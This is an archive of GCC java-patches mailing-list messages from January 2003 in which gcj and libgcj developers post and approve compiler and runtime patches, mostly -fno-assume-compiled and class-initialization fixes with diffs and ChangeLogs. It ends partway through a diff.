listarch-java-patches@gcc.gnu.org Received: (qmail 13153 invoked by alias); 23 Jan 2003 19:21:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13083 invoked from network); 23 Jan 2003 19:20:58 -0000 Received: from unknown (HELO mx2.redhat.com) (12.150.115.133) by 172.16.49.205 with SMTP; 23 Jan 2003 19:20:58 -0000 Received: from int-mx2.corp.redhat.com (int-mx2.corp.redhat.com [172.16.27.26]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id h0NJFX103929; Thu, 23 Jan 2003 14:15:33 -0500 Received: from potter.sfbay.redhat.com (potter.sfbay.redhat.com [172.16.27.15]) by int-mx2.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h0NJKun30874; Thu, 23 Jan 2003 14:20:56 -0500 Received: from localhost.localdomain (frothingslosh.sfbay.redhat.com [172.16.24.27]) by potter.sfbay.redhat.com (8.11.6/8.11.6) with ESMTP id h0NJKuE10194; Thu, 23 Jan 2003 11:20:56 -0800 Received: (from rth@localhost) by localhost.localdomain (8.11.6/8.11.6) id h0NJKuJ23914; Thu, 23 Jan 2003 11:20:56 -0800 X-Authentication-Warning: localhost.localdomain: rth set sender to rth@redhat.com using -f Date: Thu, 23 Jan 2003 11:20:56 -0800 From: Richard Henderson To: Franz Sirl Cc: Jakub Jelinek , Jeff Sturm , Andreas Tobler , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: [PATCH] Fix PPC32 local checks in 3.2 (was: Re: [libffi] closures for sparc) Message-ID: <20030123192056.GE23861@redhat.com> Mail-Followup-To: Richard Henderson , Franz Sirl , Jakub Jelinek , Jeff Sturm , Andreas Tobler , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org References: <3E16BD22.4090905@pop.agri.ch> <200301210034.17622@enzo.bigblue.local> <20030120184035.L10012@devserv.devel.redhat.com> <200301230013.46696@enzo.bigblue.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200301230013.46696@enzo.bigblue.local> User-Agent: Mutt/1.4i On Thu, Jan 23, 2003 at 12:13:46AM +0100, Franz Sirl wrote: > * config/rs6000/rs6000.c (rs6000_binds_local_p): New functiion. > (rs6000_encode_section_info): Use it. Ok. r~ From java-patches-return-5885-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 23 19:59:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 920 invoked by alias); 23 Jan 2003 19:59:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 900 invoked from network); 23 Jan 2003 19:59:19 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 23 Jan 2003 19:59:19 -0000 Received: from fleche.redhat.com (tq0172.peakpeak.com [207.174.177.172]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA14881; Thu, 23 Jan 2003 12:59:16 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 84A5E4F8073; Thu, 23 Jan 2003 12:55:31 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: gcj assume-compiled fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: "DARK SHADOWS" is on!! Hey, I think the VAMPIRE forgot his UMBRELLA!! Date: 23 Jan 2003 12:55:30 -0700 Message-ID: <87znprfxot.fsf@fleche.redhat.com> Lines: 52 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This fixes another -fno-assume-compiled bug. Suppose you have a class pkg.A with a public final method F. Now suppose pkg.C extends A. Now compile B with `-fno-assume-compiled=pkg'. If B calls F on an object of type C, gcj will attempt to devirtualize the call (since F is final). However, it will try to find F in C's method table, even though F is declared in A. The fix to this problem is to use F's context instead of the caller's notion of where the function might lie. Ok to commit? Tom Index: ChangeLog from Tom Tromey * expr.c (build_known_method_ref): Use method's context to find method table index. Index: expr.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/expr.c,v retrieving revision 1.161 diff -u -r1.161 expr.c --- expr.c 22 Jan 2003 20:53:54 -0000 1.161 +++ expr.c 23 Jan 2003 19:54:54 -0000 @@ -1748,13 +1748,16 @@ SELF_TYPE->methods[METHOD_INDEX].ncode - This is guaranteed to work (assuming SELF_TYPE has - been initialized), since if the method is not compiled yet, - its ncode points to a trampoline that forces compilation. */ + */ int method_index = 0; - tree meth; - tree ref = build_class_ref (self_type); + tree meth, ref; + + /* The method might actually be declared in some superclass, so + we have to use its class context, not the caller's notion of + where the method is. */ + self_type = DECL_CONTEXT (method); + ref = build_class_ref (self_type); ref = build1 (INDIRECT_REF, class_type_node, ref); if (ncode_ident == NULL_TREE) ncode_ident = get_identifier ("ncode"); From java-patches-return-5886-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 23 20:01:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2909 invoked by alias); 23 Jan 2003 20:01:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2897 invoked from network); 23 Jan 2003 20:01:06 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 23 Jan 2003 20:01:06 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-20.rdu.redhat.com [172.16.50.20]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 9DA1EABAF8; Thu, 23 Jan 2003 20:01:02 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0NK1Vx03454; Thu, 23 Jan 2003 20:01:31 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15920.18971.300881.258808@cuddles.cambridge.redhat.com> Date: Thu, 23 Jan 2003 20:01:31 +0000 (GMT) To: tromey@redhat.com Cc: Java Patch List , Gcc Patch List Subject: Patch: gcj assume-compiled fix In-Reply-To: <87znprfxot.fsf@fleche.redhat.com> References: <87znprfxot.fsf@fleche.redhat.com> Tom Tromey writes: > from Tom Tromey > > * expr.c (build_known_method_ref): Use method's context to find > method table index. OK. Andrew. From java-patches-return-5887-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 23 23:27:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5780 invoked by alias); 23 Jan 2003 23:27:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5767 invoked from network); 23 Jan 2003 23:27:35 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 23 Jan 2003 23:27:35 -0000 Received: from fleche.redhat.com (tq0172.peakpeak.com [207.174.177.172]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA05093; Thu, 23 Jan 2003 16:27:33 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 5A60A4F8073; Thu, 23 Jan 2003 16:23:17 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: another gcj assume-compiled fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Did we bring enough BEEF JERKY? Date: 23 Jan 2003 16:23:16 -0700 Message-ID: <87fzrjfo2j.fsf@fleche.redhat.com> Lines: 39 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii When using -fno-assume-compiled, gcj will sometimes try to fold a field from an uncompiled class. This is required when the field in question meets the appropriate criteria for a compile-time constant. However, currently sometimes gcj is too eager and will end up returning the field itself, leading to an incorrect external reference being generated. The appended patch fixes this by adding the appropriate conditions to the check. Ok for trunk? Tom Index: ChangeLog from Tom Tromey * class.c (build_static_field_ref): Only a String or numeric field can fold to a constant. Index: class.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/class.c,v retrieving revision 1.150 diff -u -r1.150 class.c --- class.c 22 Jan 2003 20:51:55 -0000 1.150 +++ class.c 23 Jan 2003 23:22:43 -0000 @@ -923,7 +924,11 @@ int is_compiled = is_compiled_class (fclass); /* Allow static final fields to fold to a constant. */ - if (is_compiled || FIELD_FINAL (fdecl)) + if (is_compiled + || (FIELD_FINAL (fdecl) && DECL_INITIAL (fdecl) != NULL_TREE + && (JSTRING_TYPE_P (TREE_TYPE (fdecl)) + || JNUMERIC_TYPE_P (TREE_TYPE (fdecl))) + && TREE_CONSTANT (DECL_INITIAL (fdecl)))) { if (!DECL_RTL_SET_P (fdecl)) { From java-patches-return-5888-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 24 02:36:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12631 invoked by alias); 24 Jan 2003 02:36:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12619 invoked from network); 24 Jan 2003 02:36:18 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 24 Jan 2003 02:36:18 -0000 Received: from fleche.redhat.com (tq0172.peakpeak.com [207.174.177.172]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA12619; Thu, 23 Jan 2003 19:36:17 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D7DA04F8073; Thu, 23 Jan 2003 19:31:51 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: FYI: gcj resource compilation from jar From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: NANCY!! Why is everything RED?! Date: 23 Jan 2003 19:31:51 -0700 Message-ID: <87k7gve0rs.fsf@fleche.redhat.com> Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This fixes a buglet in the new compile-resource-from-jar feature. gcj inserted a spurious \0 into the resource data. I'm applying this as obvious. Tom Index: ChangeLog from Tom Tromey * jcf-parse.c (parse_zip_file_entries): Overwrite trailing \0 of file name in resource buffer. Index: jcf-parse.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-parse.c,v retrieving revision 1.134 diff -u -r1.134 jcf-parse.c --- jcf-parse.c 23 Jan 2003 00:40:40 -0000 1.134 +++ jcf-parse.c 24 Jan 2003 01:56:58 -0000 @@ -1221,7 +1221,9 @@ buffer = ALLOC (zdir->filename_length + 1 + (jcf->buffer_end - jcf->buffer)); strcpy (buffer, file_name); - memcpy (buffer + zdir->filename_length + 1, + /* This is not a typo: we overwrite the trailing \0 of the + file name; this is just how the data is laid out. */ + memcpy (buffer + zdir->filename_length, jcf->buffer, jcf->buffer_end - jcf->buffer); compile_resource_data (file_name, buffer, From java-patches-return-5889-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 24 02:45:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14259 invoked by alias); 24 Jan 2003 02:45:05 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14250 invoked from network); 24 Jan 2003 02:45:04 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 24 Jan 2003 02:45:04 -0000 Received: from fleche.redhat.com (tq0172.peakpeak.com [207.174.177.172]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA14441; Thu, 23 Jan 2003 19:45:02 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 649044F8073; Thu, 23 Jan 2003 19:40:37 -0700 (MST) To: Jeff Sturm Cc: java-patches@gcc.gnu.org Subject: Re: Class initialization, take two References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Did I do an INCORRECT THING?? Date: 23 Jan 2003 19:40:37 -0700 In-Reply-To: Message-ID: <87fzrje0d6.fsf@fleche.redhat.com> Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Jeff" == Jeff Sturm writes: Jeff> My last classloader patch inadvertently broke Kawa builds. This Jeff> corrects it and also improves support for -fno-assume-compiled. I'm sorry I've neglected this so long. I've been single-mindedly focused on something else. I'm hoping to get through the patch backlog over the next few days. This patch looks weird, since it moves things around in a way I wasn't expecting. However, I also ran into some new class init bugs, and this patch definitely fixes them. So, I think this should go in on the trunk. If you're playing with -fno-assume-compiled, there are some other bugs in that area that I've fixed in the runtime. I'll get those fixes in shortly. Jeff> This patch is one way to handle it. An alternative is to add an Jeff> explicit link step to class initialization, as the bytecode Jeff> interpreter does. Do you think this would yield a cleaner result? I've been in denial about parts of class initialization for years now. Lately, though, I find I can't ignore it any longer. We have a lot of different functions, all laid out rather confusingly, sometimes with overlapping functionality. It would be nice to clean it all up. I'll submit a PR to that effect. Tom From java-patches-return-5890-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 24 03:50:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3321 invoked by alias); 24 Jan 2003 03:50:37 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3291 invoked from network); 24 Jan 2003 03:50:36 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 172.16.49.205 with SMTP; 24 Jan 2003 03:50:36 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h0O3odh06720; Thu, 23 Jan 2003 22:50:39 -0500 Date: Thu, 23 Jan 2003 22:50:39 -0500 (EST) From: Jeff Sturm To: Tom Tromey cc: Java Patch List , Gcc Patch List Subject: Re: Patch: another gcj assume-compiled fix In-Reply-To: <87fzrjfo2j.fsf@fleche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 23 Jan 2003, Tom Tromey wrote: > Index: ChangeLog > from Tom Tromey > * class.c (build_static_field_ref): Only a String or numeric field > can fold to a constant. This one's probably my fault. Originally -fno-assume-compiled would ICE on certain case statements, my patch however was too encompassing. FWIW I agree with your fix; thanks for handling it. Jeff From java-patches-return-5891-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 24 09:38:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12127 invoked by alias); 24 Jan 2003 09:38:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12113 invoked from network); 24 Jan 2003 09:38:41 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 24 Jan 2003 09:38:41 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-35.rdu.redhat.com [172.16.50.35]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 70DE3ABAF8; Fri, 24 Jan 2003 09:38:38 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0O9caR02645; Fri, 24 Jan 2003 09:38:36 GMT Date: Fri, 24 Jan 2003 09:38:36 GMT Message-Id: <200301240938.h0O9caR02645@cuddles.cambridge.redhat.com> From: Andrew Haley To: tromey@redhat.com Cc: Java Patch List , Gcc Patch List Subject: Patch: another gcj assume-compiled fix In-Reply-To: <87fzrjfo2j.fsf@fleche.redhat.com> References: <87fzrjfo2j.fsf@fleche.redhat.com> Tom Tromey writes: > > Index: ChangeLog > from Tom Tromey > * class.c (build_static_field_ref): Only a String or numeric field > can fold to a constant. Okay if you add a comment that explains why you're doing this. The following might be a place to start from, but that's up to you. /* When using -fno-assume-compiled, gcj will sometimes try to fold a field from an uncompiled class. This is required when the field in question meets the appropriate criteria for a compile-time constant. However, currently sometimes gcj is too eager and will end up returning the field itself, leading to an incorrect external reference being generated. */ Andrew. From java-patches-return-5892-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 24 17:39:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23159 invoked by alias); 24 Jan 2003 17:39:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23152 invoked from network); 24 Jan 2003 17:39:31 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 24 Jan 2003 17:39:31 -0000 Received: from fleche.redhat.com (tq0214.peakpeak.com [207.174.177.214]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA01173; Fri, 24 Jan 2003 10:39:30 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 6ACA64F80B0; Fri, 24 Jan 2003 10:35:12 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Add JNIEXPORT and JNICALL to native methods in JNI testcases References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: You mean you don't want to watch WRESTLING from ATLANTA? Date: 24 Jan 2003 10:35:12 -0700 In-Reply-To: Message-ID: <874r7ye9in.fsf@fleche.redhat.com> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> The native methods in the JNI test cases in Ranjit> "libjava/testsuite/libjava.jni" are not defined with JNIEXPORT Ranjit> and JNICALL attributes as required by JNI. This causes Ranjit> them to fail to even *build* on Win32 as the gcjh generated Ranjit> header declares these methods with JNIEXPORT and JNICALL. Ranjit> The following patch proposes to fix this. Thanks, I'm checking this in on the trunk and the 3.3 branch. Tom From java-patches-return-5893-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 24 19:35:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1073 invoked by alias); 24 Jan 2003 19:35:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1051 invoked from network); 24 Jan 2003 19:35:28 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 24 Jan 2003 19:35:28 -0000 Received: from fleche.redhat.com (tq0214.peakpeak.com [207.174.177.214]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA30560; Fri, 24 Jan 2003 12:35:26 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 86CE24F8073; Fri, 24 Jan 2003 12:30:52 -0700 (MST) To: Java Patch List Subject: Patch: FYI: small javadoc fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Our father who art in heaven.. I sincerely pray that SOMEBODY at this table will PAY for my SHREDDED WHAT and ENGLISH MUFFIN.. and also leave a GENEROUS TIP... Date: 24 Jan 2003 12:30:51 -0700 Message-ID: <87d6mmbb10.fsf@fleche.redhat.com> Lines: 37 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk and the 3.3 branch. ClassLoader.findLoadedClass is no longer native, so this changes the javadoc to match. Tom Index: ChangeLog from Tom Tromey * java/lang/ClassLoader.java (findLoadedClass): Removed erroneous comment. Index: java/lang/ClassLoader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/ClassLoader.java,v retrieving revision 1.25 diff -u -r1.25 ClassLoader.java --- java/lang/ClassLoader.java 19 Dec 2002 19:31:54 -0000 1.25 +++ java/lang/ClassLoader.java 24 Jan 2003 19:32:31 -0000 @@ -1,6 +1,6 @@ // ClassLoader.java - Define policies for loading Java classes. -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -733,8 +733,7 @@ /** * If a class named name was previously loaded using * this ClassLoader, then it is returned. Otherwise - * it returns null. (Unlike the JDK this is native, - * since we implement the class table internally.) + * it returns null. * @param name class to find. * @return the class loaded, or null. */ From java-patches-return-5894-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 24 19:57:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14210 invoked by alias); 24 Jan 2003 19:57:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14192 invoked from network); 24 Jan 2003 19:57:29 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 24 Jan 2003 19:57:29 -0000 Received: from fleche.redhat.com (tq0214.peakpeak.com [207.174.177.214]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA01174; Fri, 24 Jan 2003 12:57:25 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 0DDEF4F8073; Fri, 24 Jan 2003 12:48:28 -0700 (MST) To: Java Patch List Subject: Patch: FYI: assume-compiled runtime fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Is this the line for the latest whimsical YUGOSLAVIAN drama which also makes you want to CRY and reconsider the VIETNAM WAR? Date: 24 Jan 2003 12:48:28 -0700 Message-ID: <878yxaba7n.fsf@fleche.redhat.com> Lines: 264 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. It isn't going on the 3.3 branch because we currently don't support -fno-assume-compiled on the branch, and I believe the bugs this fixes aren't observable without that feature. This fixes a bug in the runtime revealed by -fno-assume-compiled. With this option, we might make a call to a static method before the ncode field is set for the method. We never saw this before because the interpreter called _Jv_InitClass before a static call. However, this behavior is also incorrect, since the gcj ABI is to have the callee init. This is fixed below by changing the interpreter to avoid the caller init, and also to have the interpreter init as the callee. Also we set things up so that the ncode field is computed for each static interpreted method when the class is defined. This adds a bit of overhead, but I didn't see how to avoid that. Note that we do still keep the redundant init in the interpreter during `new'. This is just expedient; I didn't want to force full layout at load time, and I didn't want to put a special case in the allocator functions just to avoid a redundant init call in the interpreter. Long term it may be smarter for us to move class init to the caller. That would let us optimize out some initialization calls. At the same time we could move the _Jv_InitClass call out of the allocators; this would let us avoid it in some cases. Tom Index: ChangeLog from Tom Tromey * defineclass.cc (handleMethodsEnd): Precompute code for static method. (handleCodeAttribute): Likewise. * resolve.cc (ncode): Use run_class for unsynchronized static methods. * include/java-interp.h (class _Jv_InterpMethod): Declare run_class. * interpret.cc (run_synch_class): Initialize class. (run) [insn_invokestatic]: Don't initialize class. [insn_anewarray]: Likewise. [insn_multianewarray]: Likewise. (run_class): New function. Index: defineclass.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/defineclass.cc,v retrieving revision 1.32 diff -u -r1.32 defineclass.cc --- defineclass.cc 19 Dec 2002 19:31:53 -0000 1.32 +++ defineclass.cc 24 Jan 2003 19:45:08 -0000 @@ -1,6 +1,6 @@ // defineclass.cc - defining a class from .class format. -/* Copyright (C) 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -1267,6 +1267,15 @@ code_length); def->interpreted_methods[method_index] = method; + + if ((method->self->accflags & java::lang::reflect::Modifier::STATIC)) + { + // Precompute the ncode field for a static method. This lets us + // call a static method of an interpreted class from precompiled + // code without first resolving the class (that will happen + // during class initialization instead). + method->self->ncode = method->ncode (); + } } void _Jv_ClassReader::handleExceptionTableEntry @@ -1302,6 +1311,16 @@ m->self = method; m->function = NULL; def->interpreted_methods[i] = m; + + if ((method->accflags & Modifier::STATIC)) + { + // Precompute the ncode field for a static method. + // This lets us call a static method of an + // interpreted class from precompiled code without + // first resolving the class (that will happen + // during class initialization instead). + method->ncode = m->ncode (); + } } } else if ((method->accflags & Modifier::ABSTRACT) != 0) Index: resolve.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/resolve.cc,v retrieving revision 1.35 diff -u -r1.35 resolve.cc --- resolve.cc 19 Dec 2002 19:31:53 -0000 1.35 +++ resolve.cc 24 Jan 2003 19:45:09 -0000 @@ -1,6 +1,6 @@ // resolve.cc - Code for linking and resolving classes and pool entries. -/* Copyright (C) 1999, 2000, 2001 , 2002 Free Software Foundation +/* Copyright (C) 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -947,7 +947,10 @@ } else { - fun = (ffi_closure_fun)&_Jv_InterpMethod::run_normal; + if (staticp) + fun = (ffi_closure_fun)&_Jv_InterpMethod::run_class; + else + fun = (ffi_closure_fun)&_Jv_InterpMethod::run_normal; } FFI_PREP_RAW_CLOSURE (&closure->closure, @@ -958,7 +961,6 @@ self->ncode = (void*)closure; return self->ncode; } - void * _Jv_JNIMethod::ncode () Index: interpret.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/interpret.cc,v retrieving revision 1.38 diff -u -r1.38 interpret.cc --- interpret.cc 28 Dec 2002 06:38:51 -0000 1.38 +++ interpret.cc 24 Jan 2003 19:45:10 -0000 @@ -1,6 +1,6 @@ // interpret.cc - Code for the interpreter -/* Copyright (C) 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -240,19 +240,21 @@ } \ while (0) -void _Jv_InterpMethod::run_normal (ffi_cif *, - void* ret, - ffi_raw * args, - void* __this) +void +_Jv_InterpMethod::run_normal (ffi_cif *, + void* ret, + ffi_raw * args, + void* __this) { _Jv_InterpMethod *_this = (_Jv_InterpMethod *) __this; _this->run (ret, args); } -void _Jv_InterpMethod::run_synch_object (ffi_cif *, - void* ret, - ffi_raw * args, - void* __this) +void +_Jv_InterpMethod::run_synch_object (ffi_cif *, + void* ret, + ffi_raw * args, + void* __this) { _Jv_InterpMethod *_this = (_Jv_InterpMethod *) __this; @@ -262,14 +264,27 @@ _this->run (ret, args); } -void _Jv_InterpMethod::run_synch_class (ffi_cif *, - void* ret, - ffi_raw * args, - void* __this) +void +_Jv_InterpMethod::run_class (ffi_cif *, + void* ret, + ffi_raw * args, + void* __this) +{ + _Jv_InterpMethod *_this = (_Jv_InterpMethod *) __this; + _Jv_InitClass (_this->defining_class); + _this->run (ret, args); +} + +void +_Jv_InterpMethod::run_synch_class (ffi_cif *, + void* ret, + ffi_raw * args, + void* __this) { _Jv_InterpMethod *_this = (_Jv_InterpMethod *) __this; jclass sync = _this->defining_class; + _Jv_InitClass (sync); JvSynchronize mutex (sync); _this->run (ret, args); @@ -2833,7 +2848,6 @@ sp -= rmeth->stack_item_count; - _Jv_InitClass (rmeth->klass); fun = (void (*)()) rmeth->method->ncode; #ifdef DIRECT_THREADED @@ -2903,6 +2917,9 @@ { int index = GET2U (); jclass klass = (_Jv_ResolvePoolEntry (defining_class, index)).clazz; + // We initialize here because otherwise `size_in_bytes' may + // not be set correctly, leading us to pass `0' as the size. + // FIXME: fix in the allocator? There is a PR for this. _Jv_InitClass (klass); jobject res = _Jv_AllocObject (klass, klass->size_in_bytes); PUSHA (res); @@ -2938,7 +2955,6 @@ int index = GET2U (); jclass klass = (_Jv_ResolvePoolEntry (defining_class, index)).clazz; int size = POPI(); - _Jv_InitClass (klass); jobject result = _Jv_NewObjectArray (size, klass, 0); PUSHA (result); @@ -3072,7 +3088,6 @@ jclass type = (_Jv_ResolvePoolEntry (defining_class, kind_index)).clazz; - _Jv_InitClass (type); jint *sizes = (jint*) __builtin_alloca (sizeof (jint)*dim); for (int i = dim - 1; i >= 0; i--) Index: include/java-interp.h =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/java-interp.h,v retrieving revision 1.21 diff -u -r1.21 java-interp.h --- include/java-interp.h 19 Dec 2002 19:31:54 -0000 1.21 +++ include/java-interp.h 24 Jan 2003 19:45:10 -0000 @@ -1,6 +1,6 @@ // java-interp.h - Header file for the bytecode interpreter. -*- c++ -*- -/* Copyright (C) 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -132,6 +132,7 @@ static void run_normal 